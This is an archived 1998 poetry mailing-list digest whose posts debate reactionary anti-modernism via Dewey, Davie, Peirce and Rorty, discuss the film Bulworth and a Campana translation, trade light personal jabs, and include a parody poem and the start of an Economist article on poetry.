now, with portabibility, one can write basically anywhere and using floppy diskettes, bring the results back home, or work on them in even another location...

and, speaking personally, i've always felt that my best writing has been done while in the middle of a noisy cafe, so the laptop works just fine...

peter ganick

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411. Robert Archambeau
Re: reactionary query
Wed 19 Aug 1998

Magee quotes Dewey:

> "*The idea becomes a standpoint from which to examine existing occurences...the suggestion or fancy though still ideal is treated as a possibility capable of realization *in* the concrete natural world, not as a superior reality apart from that world. As such, it becomes a platform from which to scrutinize natural events.*"

This is some interesting stuff, and I have quite a bit of sympathy for the view that Dewey shares with Jameson.

As for what you say about Davie -- yes. Davie proceeds from opposite (and, I think, incorrect but provocative) assumptions. He likes the idea of provisionality, but it is exactly this that he sees as a possibility limited to neo-Augustan poetry like Thomas Hardy's. That is, he would agree with Dewey/Jameson about platforms from which to scrutinize events being valuable, but he feels that there is an absolutism in any poetry that claims a vatic or visionary power for the poet (he puts Pound in the visionary camp), and that this disallows for any kind of provisionality in the "platform". It becomes an uncompromisable goal, not an archimedian point outside the world from which we can perform critique.

Ironically, Davie thinks the vatic makes for better poetry, but the provisional/ ironic stance of someone like Hardy seems more ethical, and more liberal, to him. Familiar stuff to anyone who's read Plato's Republic -- 'we love this stuff, but for the sake of the children, dear, it has to go'.

Even more ironically, Davie's chapters on experimental Brits like Jeremy Prynne and Roy Fisher are subtle, appreciative and dead-on about particular poems, even though they are part of an argument that condemns experiment.

Robert Archambeau
Lake Forest College, Illinois &
Lund University, Sweden

↑ Index

412. Henry Gould
Re: snorting up the Pound etc.
Wed 19 Aug 1998

Dave Baratier's interesting post. Maybe "innovation" or "invention" or "experiment" are usually umbrella terms for originality/creativity in general, ie. standing for all five parts of oratory combined. But the "inspired idea" (invention) which creates a "product" which is both popular and lasting does seem to fall under the sway of a "muse" of some kind. Was Dickinson's oeuvre an outcome of strategic marketing or devotion to the muse (ie. an ordering of "poetic instruments" - all of them - to inspiration)? Jeff Walker in his book Bardic Ethos argues that Pound, Wms, Olson ultimately failed in their goal of writing the "tale of the tribe" because their oratory - their dispositions & elocutions - contradicted their own subject matter (shared history) with an elite/sacerdotal ethos which made the sufferings of the Dionysian poet, rather than the shared history, the center of attention. I guess my thought would be: if a sort of inspiration rules the general "disposition" of a poet's materials, then Pound et al. are telling the history they HAD to tell - "the builders builded better [& worse] than they knew". Perhaps this takes the poets off the hook somehow? Horace & Dante might disagree with this? (Plato might agree...). I don't know. Maybe this is a false trail or off your subject. - Henry Gould

↑ Index

413. Daniel Zimmerman
Re: Bullworth
Wed 19 Aug 1998

KENT JOHNSON wrote:
>
> There was quite a bit of discussion about _Saving Private Ryan_ a

> couple of weeks ago. Has there been any discussion of _Bullworth_?
> I just saw it in a Motel 6. What a movie!
>
> I'm pretty sure there is no Hollywood film in recent memory that
> features a major (whatever that really means) American poet. Amiri
> Baraka, no less, plays a homeless sort who haunts Bullworth and tells
> him to be a "spirit" and not a "ghost." Bullworth is a typical
> bought white politician who more or less goes nuts, sheds his skin,
> and starts rapping anti-capitalist stuff like a Black Panther. This
> inspires the kingpin of an inner-city gang to suddenly see the light
> and become responsible to the children of his community. A number of
> loud and sexed-up black women go wild for Bullworth in advance of the
> men learning, via his didactic rap, how to be men. But Bullworth
> gets shot dead by an insurance executive, his promise cut
> short.
>
> Sorry if this movie has already been discussed here, but I'm curious
> about what people think: Amiri Baraka, Maoist extraordinaire, jumped
> all over Spike Lee a few years back in Sulfur for selling out to
> liberal revisionism with _Malcom X_. Does Baraka do the
> right thing in _Bullworth_? It's a strange and fascinating movie.
> Some critics say it's profoundly racist. Others say it's the most
> leftist and subversive thing ever done in Hollywood.
>
> Can it be both?
>
> Kent

I saw it about six weeks ago. Although it contained racist elements, it didn't strike me as a 'racist' film, because its political agenda sought to counter the milieu which mulches racism.

Certainly, the positions Warren Beatty took as Bulworth [an allegorical monicker of New Critical ambiguity,or a deconstructive Dorian Grayism?] represent some of the most radical statements by a 'hero' I've ever seen from Tinseltown, but the cartoonish improbability of his conversion from Wilbur Mills to Ice-T seemed to me to undercut the seriousness with which the audience might feel obliged to consider his rap-analysis. As you say, he "more or less goes nuts." [One also gets the sense that the lady in the film goes a bit nuts, too -- Halle Berry ain't no Monica Lewinsky.]

Baraka's admonition [be a spirit, not a ghost] seemed an antidote to the temptation to understand the film's point as coextensive with its 'that's enter-tainment' frivolity; it suggests that his conversion, however heartfelt, may have left

him as 'ghostly' as in his previous incarnation as the careerist slimeball politician. Baraka functions like a Sprecher in Renaissance painting, pointing our way back into the picture's ideological structure, lest we groove too much on its surface slickness. I loved seeing him in this cameo, but wonder how many other folks in the theatre had the foggiest notion of his identity. Now, if Spike Lee had done the role...

What do others think?

Dan Zimmerman

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414. Robert Archambeau
Re: reactionary query
Wed 19 Aug 1998

Henry wrote:

> *So let me see if I get this straight: reactionary critics are hanging around judging poetry according to moral recipes based on their idea of how the world should be (their outdated idea). But progressive critics judge poetry according to moral recipes based on their (up-to-date) idea of how the world should be. Utopia is good; the good old days are bad; right? No - let's be more specific. For progressive critics, all experiment is good because the past & the present are bad & we're hopeful for new things in the future, and experiment at least tries to open those doors. Right? For reactionary critics, all experiment is bad because the present is bad & getting worse because experimenters are forgetting everything good the past gave us. Are we getting closer now? Is this a useable recipe?*

Looking back on the various passages from Dewey that Michael has posted, it seems to me that the difference between "bad" visions of another moral universe (eg, Dante's world) and "good" versions of same has more to do with absolutism than with whether the view is backward looking or forward looking.

That is, Dewey seems to me to condemn the _exclusive_ view that Dante's world is the good world (so therefore we'd best not look at Milton's). Wheras a "good" use of visions of utopias/'better times' would be to use them as springboards from which to critique our times, as opportunities to come to fresh perceptions, rather than as specific recipies for how the world ought to be.

Michael knows Dewey a hell of a lot better than I do -- I think he can speak to this with greater accuracy.

Robert Archambeau
Lake Forest College, Illinois &
Lund University, Sweden

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415. MAYHEW
reactionary query
Wed 19 Aug 1998

Does anyone know of a study of reactionary anti-modernism? What I mean is the sort of periodic anti-experimental reaction, often with a conservative political ideology, that crops up every twenty years (or perhaps never disappears). I don't mean just another ritualistic vilification of Vendler, but something that perhaps puts some historical perspective on the matter, with some breadth and depth. Thanks in advance.

Changing the subject, I found this sentence last night in a book I was reading:

"It is characteristic of Heidegger's thought that at precisely at the moment when he is most baffling--he refuses the explain himself."

For me it is nearly the opposite: at precisely the moment I explain myself, I am least baffling.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

416. David W. McFadden
Re: oogling
Wed 19 Aug 1998

[redacted] writes:
>I feel sorry for Todd Baron -- he seems puppy-like in his desires,
>probably
>lonely. He probably means well, though that's hardly an excuse.
I'm new to this list. This is very embarrassing. Is there something I
should know? It's some kind of an in joke, right? Or else, poor Todd!
dwm
"After all, there is a touch of aggression in demanding of a man you don't
know why he hums on a public footpath."
- H. G. Wells, The First Men in the Moon.

↑ Index

417. **Michael Magee**
Re: reactionary query
Wed 19 Aug 1998

Dewey has a great, albeit brief commentary of the kind you're looking for. Of reactionary critics (he gives as an example Eliot's calling for a poetry which emanates from the "truest philosophy") Dewey writes,

"critics of this school do not lack definite, not to say dogmatic, convictions on this point. Without any particular special competency in philosophic thought, they are ready to pronounce *ex cathedra* judgements, because they are committed to some conception of the relation of man to the universe that flourished in some past epoch. They regard its restoration as essential to the redemption of society from its present evil state. Fundamentally their criticisms are moral recipes. Since great poets have had different philosophies, acceptance of their point of view entails that if we approve the philosophy of Dante we must condemn the poetry of Milton, and if we accept that of Lucretius we must find the poetry of both the others woefully defective. And where, upon the basis of any of these philosophies, does Goethe come in? And yet these are our great 'philosophic' poets" (Art as Experience, p. 319).

Art as Experience is actually a wonderful rand complex epudiation of the methodology employed by critics such as Vendler, though of course that repudiation is implicit rather than explicit. -m.

According to MAYHEW: >
> Does anyone know of a study of reactionary anti-modernism? What I mean is
> the sort of periodic anti-experimental reaction, often with a conservative
> political ideology, that crops up every twenty years (or perhaps never
> disappears). I don't mean just another ritualistic vilification of
> Vendler, but something that perhaps puts some historical perspective on
> the matter, with some breadth and depth. Thanks in advance.
>
> Changing the subject, I found this sentence last night in a book I
> was reading:
>
> "It is characteristic of Heidegger's thought that at precisely at the
> moment when he is most baffling--he refuses the explain himself."
>
> For me it is nearly the opposite: at precisely the moment I explain
> myself, I am least baffling.
>
> Jonathan Mayhew
> Department of Spanish and Portuguese

> University of Kansas
> [redacted]
> [redacted]
>

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418. **David W. McFadden**
Re: ooooooooooogling stupidity
Wed 19 Aug 1998

[redacted] writes:
>YIKES. Lay off!
>Todd Baron
>(NOT lonely--and no dog...)
Anybody who, in a public forum, is called lonely, a dog, sloppy and
stupid, well he's gotta have something pretty interesting going for him.
Todd, we're into the Interesting Zone, as Henry James used to call it.
Yikes, indeed!
dwm
"In the vast silence, surrounded by the intoxicating scent of wild
pennyroyal and other aromatic plants, the bees buzzed."
- Grazia Deledda. After the Divorce (1902).

↑ Index

419. **james perez**
Re: Not yet/already
Wed 19 Aug 1998

Mark Weiss said...

>Now I tend to hear new things and accept or
>dismiss them fairly quickly, with far more dismissals. Age? Or maybe my
ear
>is better trained. Or maybe, more importantly, when I was first
learning
>the classics almost everything I listened to was in fact great music
and
>having learned the canon and then some the experiments were less
frequently
>rewarding. The same being true of all the other arts, high and popular.

I always worry, that my ear in fact hasn't become "better trained," but in fact "more" trained (and maybe also less patient). Which leads to listening to the canon and how that makes one more likely to enjoy this or that or listen for

specific things (repetitions, melody, counterpoint and all that), and not appreciate the merits or aesthetic of other musics (though this applies to other arts). I don't mean to inspire a discussion of subjectivities and "training," but maybe that is what I mean.

jperez

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420. David W. McFadden
Re: location location location
Wed 19 Aug 1998

[redacted] writes:
>I am deeply impressed by a loving and intimate knowledge in Mark's
>posting to this thread, describing the view from Olson's windows.
Me too! Shamefully (and shamelessly), I haven't looked at Olson for twenty years but these comments made me want to go back and have another look through his window. It also brought back to mind old Ambrose Bierce and the definition of "resident" one finds in his Devil's Dictionary: "One who can't leave."
dwm
"Better one's own crust than another's cake."
- Sholom Aleichem.

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421. David W. McFadden
Re: ooooooooooogling stupidity
Wed 19 Aug 1998

[redacted] writes:
>It seems your chickens are roosting quite nicely.
Come on, you guys! Get civilized. This is an international list.
dwm
"Never speak of yourself: either you will praise yourself, which is vanity, or you will denigrate yourself, which is stupidity."
- Umberto Eco. The Island of the Day Before (1994).

↑ Index

422. David W. McFadden
Re: location(3): three quotes and 2 questions
Wed 19 Aug 1998

[redacted] writes:
>Question: has anyone ever lived/visited some place where it seemed
>impossible to get any writing/thinking done? How to deal w/ it?
Is writing and thinking about the impossibility of writing and thinking an impossibility?
Sounds as if it could be interesting.
Sounds like Toronto!
Those were three good quotes and two good questions.
dwm
"I don't mean, of course, that you should write a lot of poetry while
we're away. You don't need to write. The important thing is to fertilize
your poetic sensibility."
- Yukio Mishima, "Act of Worship" (1965).

↑ Index

423. Billy Little
translation anyone?
Wed 19 Aug 1998

---

i'm trying to write about this translation of Dino Campana's Orphic Songs by i.l. solomon not being fluent in italian and not being a translator, but a constant reader of translations, and having studied italian, i definitely believe in reading the original language out loud in however poor a pronounciation, because meaning pops from the sounding writely or wrongly, Berrigan and Zukofsky translate by sound leaving the morpheme to swim in the subconscious to work like a drunken worm and poets like Campana and Neruda or Lorca can write in a simple or vernacular that makes heightened feelings from rhythms. But I'm finding these translations in general too literal and not rapturous as Campana's own lingo is reputed. I'm not interested in slagging a 98 year old translator but i think the rapture might come more readily from a translator in their 20's, or even 40-'s I see that Charles Wright has also done a translation i ought to read that before telling you to give a pass to this very sensuous book (production wise)City Lights, reissue of a thirty year old translation, maybe it's Ferlinghetti paying some dues to the community he grew up in and the neighbourhood he continues to get wealthy in (Columbus). one thing i will report about this translation that irks me somewhat is, for grammars sake, he'll (occasionally) transpose the ultimate line with the penultimate; negating the weight of the finality, the last word lingering on the tongue and the tympanum the position of the word as final serving in my ear like epiphany triggers not blind! meaning. some

of us engage in that old fashioned cogitation, and find it hard to think too quickly when old friends are dying like this weekend I was at the extended family memorial for charles watts his ashes there in an urn. Robin Blaser spoke and read and read a poem of Charles from his sole publication, bread & wine, Goh Poh Seng read, Bob Rose read, George Bowering appeared looking grey (the opposite of merry) the opposite of light he probably had to leave i missed speaking to him, Dorothy Trujillo Lusk, Lisa Robertson, Pirsilla Groves, Marya Hindmarch, Renee Rodin, Jan___, Peter Magnani, Peter and Patti Huse, Ralph Maude's darling her name slips my mind but her beauty is seered in my reptile brain, bryant knox, ted byrne, susan clark, peter and meredith quartermain, melissa wolsak, all taking one's thoughts far from e-mail as grandchildren do and animals needs. anybody else reading this City Lights translation of Campana? it's a side by side original and translation, which is always my preference, i might have three translations on the shelf, one for the quality of the translation, one for the original text, and another for the apparatus(notes, intros, essays) that's if i can afford a shelf.

billy little
4 song st.
nowhere, b.c. V0R1Z0

Yeah, I stole from
the treasury
of human folly
I spent it all on you, baby...

don't mention it

Duncan McNaughton

↑ Index

424. k.a. hehir
Jornal de Poesia
Wed 19 Aug 1998

Robert,

for your interest in the brazilian avant-garde you may find this interesting.
http://www.secrel.com.br/jpoesia/poesia.html

It is a site dedicated to Poetry in Portuguese.

i'm still looking for a translation or h. de campos' "transient servitude" so if you come across one please back channel me.

thanks,
kevin h.

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425. Gary Sullivan
Marianne Moore's spirit on Bullworth's ghost
Wed 19 Aug 1998

LIKE A BULLWORTH

Pimped. Sexed-up "Panther Power" Hollywood's left, the paradigm--
a paradox. Post-Spike. Well dressed,
you rap the did/act and are subversive.
Beatty's last?
Hot, the tempting tinsel.
Careerist; firmament Maoed-up by Baraka
till undercut, like a Bullworth
lead-saluted
saluted by lead?
As though flying Old Ghost full mast.

On Wednesday, August 19, 1998 9:32 AM, Daniel Zimmerman [SMTP:[redacted]]
wrote:
> KENT JOHNSON wrote:
> >
> > There was quite a bit of discussion about _Saving Private Ryan_ a
> > couple of weeks ago. Has there been any discussion of _Bullworth_?
> > I just saw it in a Motel 6. What a movie!
> >
> > I'm pretty sure there is no Hollywood film in recent memory that
> > features a major (whatever that really means) American poet. Amiri
> > Baraka, no less, plays a homeless sort who haunts Bullworth and tells
> > him to be a "spirit" and not a "ghost." Bullworth is a typical
> > bought white politician who more or less goes nuts, sheds his skin,
> > and starts rapping anti-capitalist stuff like a Black Panther. This
> > inspires the kingpin of an inner-city gang to suddenly see the light
> > and become responsible to the children of his community. A number of
> > loud and sexed-up black women go wild for Bullworth in advance of the
> > men learning, via his didactic rap, how to be men. But Bullworth
> > gets shot dead by an insurance executive, his promise cut
> > short.
> >
> > Sorry if this movie has already been discussed here, but I'm curious

> > about what people think: Amiri Baraka, Maoist extraordinaire, jumped
> > all over Spike Lee a few years back in Sulfur for selling out to
> > liberal revisionism with _Malcom X_. Does Baraka do the
> > right thing in _Bullworth_? It's a strange and fascinating movie.
> > Some critics say it's profoundly racist. Others say it's the most
> > leftist and subversive thing ever done in Hollywood.
> >
> > Can it be both?
> >
> > Kent
>
> I saw it about six weeks ago. Although it contained racist elements, it
> didn't strike me as a 'racist' film, because its political agenda sought
> to counter the milieu which mulches racism.
>
> Certainly, the positions Warren Beatty took as Bulworth [an allegorical
> monicker of New Critical ambiguity,or a deconstructive Dorian Grayism?]
> represent some of the most radical statements by a 'hero' I've ever seen
> from Tinseltown, but the cartoonish improbability of his conversion from
> Wilbur Mills to Ice-T seemed to me to undercut the seriousness with
> which the audience might feel obliged to consider his rap-analysis. As
> you say, he "more or less goes nuts." [One also gets the sense that the
> lady in the film goes a bit nuts, too -- Halle Berry ain't no Monica
> Lewinsky.]
>
> Baraka's admonition [be a spirit, not a ghost] seemed an antidote to the
> temptation to understand the film's point as coextensive with its
> 'that's enter-tain-ment' frivolity; it suggests that his conversion,
> however heartfelt, may have left him as 'ghostly' as in his previous
> incarnation as the careerist slimeball politician. Baraka functions like
> a Sprecher in Renaissance painting, pointing our way back into the
> picture's ideological structure, lest we groove too much on its surface
> slickness. I loved seeing him in this cameo, but wonder how many other
> folks in the theatre had the foggiest notion of his identity. Now, if
> Spike Lee had done the role...
>
> What do others think?
>
> Dan Zimmerman

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426. louis stroffolino
Re: QUERIES (CB and DS)
Wed 19 Aug 1998

Thanks all who backchanneled the address info. for DAle S.....

I still await an answer to the bernstein question....
I thought it was in THE SOPHIST, but no luck.....
I wonder if charles himself is out there, and has any idea what
i'm talking about.....
chris

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427. Michael Magee
Re: reactionary query
Wed 19 Aug 1998

According to Robert Archambeau:
>
> What is really interesting (and sometimes infuriating) about this is
> that Davie tries to demonstrate that liberalism is the province of
> formalism, while experimentalism implies utopian and therefore
> totalitarian politics. So: a good book to sharpen your own arguments
> against.
>
>
Can't resist adding one more comment of Dewey's to this discussion a propos to RA's frustration w/ Davies' critique of experimentalism's utopian impulse. Dewey argues for the efficacy of utopian narrative strategies - and anticipates Jameson - in the following:

"The idea becomes a standpoint from which to examine existing occurences...the suggestion or fancy though still ideal is treated as a possibility capable of realization *in* the concrete natural world, not as a superior reality apart from that world. As such, it becomes a platform from which to scrutinize natural events."

Now, Dewey's utopian term would be "democracy," while Jameson's would be some variation on a Marxist utopia, but both would have the same reponse for Davies - that he has failed to recognize the evocation of utopia (in description, in syntax, grammar) as *rhetorical strategy* as "socially symbolic act" to use the phrase Jameson takes from Burke. Davies, not believing Dewey's maxim that "philosophy is a form of desire, of effort at action," simply takes utopian strategies to be bad philosophy or bad writing, or bad politics, precisely b/c he

believes they represent " a superior reality apart from (the) world." But I'd say that, at least in regard to the 20th C. tradition of experimentalism I know & love, he's dead wrong. Writers like Dewey, Stein, O'Hara, or for that matter musicians like Ornette Coleman ("free" jazz), are predominantly interested in utopian strategies b/c they catalyze disatisfaction (w/ existing occurences) and desire (for better ones, pointed in the direction of whatver utopian description has been offered), not because they believe their utopia to be "true" or "real." This more than anything else, I would say, distinguishes pragmatism's utopian strategies from fascism's.

-m.

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428. **Mark Weiss**
Re: Not yet/already
Wed 19 Aug 1998

Point well taken, and I realize that "canon" is politically loaded (pardon the pun), altho on this occasion I didn't mean to be provocative. My own experience, and of course the caveat here is that it's me with all my agendas doing the reporting here, is that while any kind of training can limit appreciation of what falls outside that training the learned discipline of listening and an educated (no matter how attained) curiosity about sound and form (I speak of music again) actually has made it easier for me to venture outwards.

At 08:21 AM 8/19/98 PDT, you wrote:
>Mark Weiss said...
>
>>Now I tend to hear new things and accept or
>>dismiss them fairly quickly, with far more dismissals. Age? Or maybe my
>ear
>>is better trained. Or maybe, more importantly, when I was first
>learning
>>the classics almost everything I listened to was in fact great music
>and
>>having learned the canon and then some the experiments were less
>frequently
>>rewarding. The same being true of all the other arts, high and popular.
>
>I always worry, that my ear in fact hasn't become "better trained," but
>in fact "more" trained (and maybe also less patient). Which leads to
>listening to the canon and how that makes one more likely to enjoy this
>or that or listen for specific things (repetitions, melody, counterpoint

>and all that), and not appreciate the merits or aesthetic of other
>musics (though this applies to other arts). I don't mean to inspire a
>discussion of subjectivities and "training," but maybe that is what I
>mean.
>
>jperez
>
>_____
>Get Your Private, Free Email at http://www.hotmail.com
>
>

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429. **Henry**
Re: reactionary query
Wed 19 Aug 1998

On Wed, 19 Aug 1998 13:11:53 -0400 Michael Magee said:
>>
>Can't resist adding one more comment of Dewey's to this discussion a
>propos to RA's frustration w/ Davies' critique of experimentalism's
>utopian impulse. Dewey argues for the efficacy of utopian narrative
>strategies - and anticipates Jameson - in the following:
>
>"The idea becomes a standpoint from which to examine existing
>occurences...the suggestion or fancy though still ideal is treated as a
>possibility capable of realization *in* the concrete natural world, not as
>a superior reality apart from that world. As such, it becomes a platform
>from which to scrutinize natural events."

So let me see if I get this straight: reactionary critics are hanging around judging poetry according to moral recipes based on their idea of how the world should be (their outdated idea). But progressive critics judge poetry according to moral recipes based on their (up-to-date) idea of how the world should be. Utopia is good; the good old days are bad; right? No - let's be more specific. For progressive critics, all experiment is good because the past & the present are bad & we're hopeful for new things in the future, and experiment at least tries to open those doors. Right? For reactionary critics, all experiment is bad because the present is bad & getting worse because experimenters are forgetting everything good the past gave us. Are we getting closer now? Is this a useable recipe? - Henry Gould

↑ Index

430. MAYHEW
Re: reactionary query
Wed 19 Aug 1998

Robert writes:

"but he feels that there is an absolutism in any poetry that claims a vatic or visionary power for the poet (he puts Pound in the visionary camp), and that this disallows for any kind of provisionality in the "platform". It becomes an uncompromisable goal, not an archimedian point outside the world from which we can perform critique."

Yes, the danger if you are are a prophet or visionary or charismatic religious leader is that someone might listen to you and you can start a totalitarian movement. (I hate when that happens.) This is why Richard Rorty, a Deweyan pragmatist, confines poetry to a private sphere--it's all very well to have visionary poetics, but politics must be liberal/pragmatist.

Some Spanish poets I have worked on/against say, essentially: now that we have normal, democratic politics, we can have "normal" poetry too, by which they mean the creation of a fictional simulacrum of the poet's subjectivity with which "normal" readers can identify without too much trouble. This stance seems reactionary to me, though couched in the language of liberalism. Of course, they say, "we are not reactionary, it is the avant-garde that is ideologically suspect." This normalization of poetry leads invevitably to what "reactionary" English language poets have advocated on both sides of the Atlantic, hence my original query. The Davie book is an extremely helpful suggestion.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

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431. Gary Sullivan
*Moore's finicky rewrite for the _Collected Posthumous Dictation_*
Wed 19 Aug 1998

LIKE A BULLWORTH

Pimped. Sexed-up "Panther Power" Hollywood's left, the paradigm--
a paradox. Post-Spike. Well Xed,
you rap the didact and are subversive.
Beatty's last?
Hot, the tempting tinsel.

Careerist; firmament Maoed-up by Baraka
till mowed down, like a Bullworth
Reds alluded
saluted dead?
As though flying the Low Ghost full mast.

↑ Index

432. Michael Magee
Re: reactionary query
Wed 19 Aug 1998

According to MAYHEW:
>
> Some Spanish poets I have worked on/against say, essentially: now that
> we have normal, democratic politics, we can have "normal" poetry too, by
> which they mean the creation of a fictional simulacrum of the poet's
> subjectivity with which "normal" readers can identify without too much
> trouble. This stance seems reactionary to me, though couched in the
> language of liberalism. Of course, they say, "we are not reactionary, it
> is the avant-garde that is ideologically suspect." This normalization of
> poetry leads invevitably to what "reactionary" English language poets have
> advocated on both sides of the Atlantic, hence my original query.
>

This view, in poets Spanish or otherwise fails to take into account what Barbara Packer once called language's "natural tendency toward ossification, which can turn the purest truth into the deadliest falsehood." Which is to say, "normal, democratic politics" (the phrase) might not equal "normal, democratic politics" (the social system) in your neighborhood. And, even more importantly, the former may not be working anymore in the service of the latter. -m.

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433. Michael Magee
Re: reactionary query
Wed 19 Aug 1998

I agree with Robert's answer to Henry here, for what its worth. What saves Dewey from getting into a good-vision / bad-vision, bad-past / good-future befuddlement, is his general unwillingness to talk in terms of good and bad. Again, I'd agree that he's much more interested in how various narratives can be/ might be / are "used as springboards" (RA's nice phrase) & he tends to find narratives which emphasize "real uncertainty and contingency" to be useful in sustaining democracies b/c they imply that institutions are re-makeable in

accordance w/ changes in collective experience He'd say the opposite about narratives which rebuke experiment. So, one more quote which might help:

"Let one bear this idea fully in mind and he will see how largely philosophy has been committed to a metaphysics of feudalism. By this I mean that it has thought of things in the world as occupying certain grades of value, or as having fixed degrees of truth, ranks of reality...It has become unconsciuosly an apologetic for the established order, b/c it has tried to show the rationality of this or that hierarchical grading of values and schemes of life."

Incidentally, Mayhew mentioned Rorty &, while Rorty is obviously Deweyan in some sense, I think Dewey would be disgusted w/ much of what Rorty has to say, particularly in regards to his concept of "ethnocentrism" which relies on, to my mind, a pretty twisted view of the implications of pragmatism's theory of langauge, & on a reified notion of Western langague and culture generally. -m.

According to Robert Archambeau: >
> Looking back on the various passages from Dewey that Michael has posted,
> it seems to me that the difference between "bad" visions of another
> moral universe (eg, Dante's world) and "good" versions of same has more
> to do with absolutism than with whether the view is backward looking or
> forward looking.
>
> That is, Dewey seems to me to condemn the _exclusive_ view that Dante's
> world is the good world (so therefore we'd best not look at Milton's).
> Wheras a "good" use of visions of utopias/'better times' would be to use
> them as springboards from which to critique our times, as opportunities
> to come to fresh perceptions, rather than as specific recipies for how
> the world ought to be.
>
> Michael knows Dewey a hell of a lot better than I do -- I think he can
> speak to this with greater accuracy.
>
>
> Robert Archambeau
> Lake Forest College, Illinois &
> Lund University, Sweden
>

↑ Index

434. toddbaron
Re: ooooooooooogling stupidity
Wed 19 Aug 1998

David W. McFadden wrote:
>
> [redacted] writes:
> >YIKES. Lay off!
> >Todd Baron
> >(NOT lonely--and no dog...)
> Anybody who, in a public forum, is called lonely, a dog, sloppy and
> stupid, well he's gotta have something pretty interesting going for him.
> Todd, we're into the Interesting Zone, as Henry James used to call it.
> Yikes, indeed!

> *"In the vast silence, surrounded by the intoxicating scent of wild pennyroyal and other aromatic plants, the bees buzzed."*
> *- Grazia Deledda. After the Divorce (1902).*

why--arf--thank-you--(sqeak)--

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435. toddbaron
Re: reactionary query
Wed 19 Aug 1998

MAYHEW wrote:
>
> Does anyone know of a study of reactionary anti-modernism? What I mean is
> the sort of periodic anti-experimental reaction, often with a conservative
> political ideology, that crops up every twenty years (or perhaps never
> disappears). I don't mean just another ritualistic vilification of
> Vendler, but something that perhaps puts some historical perspective on
> the matter, with some breadth and depth. Thanks in advance.
>
> Changing the subject, I found this sentence last night in a book I
> was reading:
>
> "It is characteristic of Heidegger's thought that at precisely at the
> moment when he is most baffling--he refuses the explain himself."
>
> For me it is nearly the opposite: at precisely the moment I explain
> myself, I am least baffling.
>

> Jonathan Mayhew
> Department of Spanish and Portuguese
> University of Kansas
> [redacted]
> [redacted]

Timothy Stelle--I believe--that's his name--at UCLA--has written in a vehemently anti-modernist tone about the need for a formal return to the formal (sic) poem.

Todd B.

↑ Index

436. Henry Gould
Re: reactionary query
Wed 19 Aug 1998

I'm glad we're talkin poetry & philosophy & criticism, rather than badmouthing Todd Baron or analysing the Clinton situation [tho there's some good poem & play material there]. I can accept Dewey's criticism of Eliot, especially when his snooty provocations were becoming New Critical food for textbooks.

But poetry is a conservative thing, fellas, profoundly so if I may use that word, as well as a progressive thing; good poetry transcends these boundaries. That was what I was trying to suggest; that Dewey has a set of paradigms or criteria just as fixed as Eliot's, if not so blatantly insignia'd with The Past. Experiment is always a good spin on Contingency; Open is a good spin-word for Inconclusive.

What if I don't accept the binary thing you set up with Pound / Davies? What if I say, with Davies, that the poem is an end-in-itself, its purpose is to play out its own teleology; but what if I say with Eliot that the Universe is also a Work of Art, a Creation, and the perfected work of art - by being perfect - becomes a part of that supernatural Nature? Ask Blake where that fits into the vatic/toy continuum.

Poetry is made by readers; the Poet is a Reader. Poetry is an actual Stream in which the reader begins to swim - with or against the currents. By conservative I mean that the poet is essentially a Listener who hears things down to their most ancient roots & relates them to the present; who "brings things old & new out of the storehouse".

The reactionary/progressive boundaries of 100 years ago have shifted; the hierarchies of the middle ages seen as a threat to democracy may still have a stranglehold on institutions (viz. the Anglican Lambeth Conference recently adjourned) but they are no longer of much intellectual interest. The concept of "experiment" in poetry is not only an open, forward-looking, vatic opportunity;

in academic circles it has a converse face: aestheticism, just as remote from mundane realities as any of Davies' propositions, to which any intellectual or philosophical challenge to "nominalism" [Peirce's term for relativism] is seen as a threat. Let me quote from the founder of Dewey's pragmatism as he reflects on some of those outmoded Dantean categories (from Peirce's essay "The Concept of God"):

"No concept, not even those of mathemativs, is absolutely precise; and some of the most important for everyday use are extremely vague. Nevertheless, our instinctive beliefs involving such concepts are far more trustworthy than the best established results of science, if these be precisely under- stood. For instance, we all think that there is an element of order in the universe. Could any laboratory experiments render that proposition more cert- ain than instinct or common sense leaves it? It is reidiculous to broach such a question. But when anybody undertakes to say _precisely_ what that order consists in, he will quickly find he outruns all logical warrant. Men who are given to defining too much inevitably run themselves into confusion with the vague concepts of common sense...

...Now such being the pragamticist's answer to the question what he means by the word "God", the question whether there really is such a being is the question whether all physical science is merely the figment - the arbitrary fig ment - of the students of nature, and further whether the _one_ lesson of Gautama Boodha, Confucius, Socrates, and all who from any point of view have had their ways of conduct determined by meditation upon the physico-psychical universe, be only their arbitrary notion or be the Truth behind the appear- ances which the frivolous man does not think of; and whether the superhuman courage which such contemplation has conferred upon priests who go to pass their lives with lepers and refuse all offer of rescue is mere silly fanaticism the passion of a baby, or whether it is strength derived from the power of the truth. Now the only guide to the answer to this question lies in the power of the passion of love which more or less overmasters every agnostic scientist and everybody who seriously and deeply considers the universe. But whatever there may be of _argument_ in all this is as nothing, the merest nothing, in comparison to its force as an appeal to one's own instinct, which is to argument what substance is to shadow, what bed-rock is to the built foundations of a cathedral...

...Where would such an idea, say as that of God, come from, if not from direct experience? Would you make it the result of some kind of reasoning, good or bad? Why, reasoning can supply the mind with nothing in the world except an estimate of the value of a statistical ratio, that is, how often certain kinds of things are found in certain combinations in the ordinary courser of experience. And scepticism, in the sense of doubt of the validity of elementary ideas - which is really a proposal to turn an idea out of court and permit no inquiry into its

applicability - is doubly condemned by the fundamental principle of scientific method - condemned first as obstructing inquiry, and condemned second because it is treating some other than a statistical ratio as a thing to be argued about. No: as to God, open your eyes - and your heart, which is also a perceptive organ - and you see him. But you may ask, Don't you admit there are any delusions? Yes: I may think a thing is black, and on close examination it may turn out to be bottle- green. But I cannot think a thing is black if there is no such thing to be seen as black. Neither can I think that a certain action is self-sacrificing, if no such thing as self-sacrifice exists, although it may be very rare. It is the nominalists, and the nominalists alone, who indulge in such scepticism, which the scientific method utterly condemns."

- Charles Peirce, founder of Pragmatism

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437. **mj devaney**

Re: _Economist_ piece on the state of poetry

Wed 19 Aug 1998

Thought the list might find this interesting. --MJ Devaney

_____ Economist December 20, 1997

MODERN VERSE

> Poetic injustice
>
> WHAT ever happened to poetry? Once poets spoke for the age and strutted the cultural stage as stars. What would European romanticism have been without Byron or Schiller? French symbolism without Rimbaud or Baudelaire? Anglo-American modernism without Eliot or Pound?
>
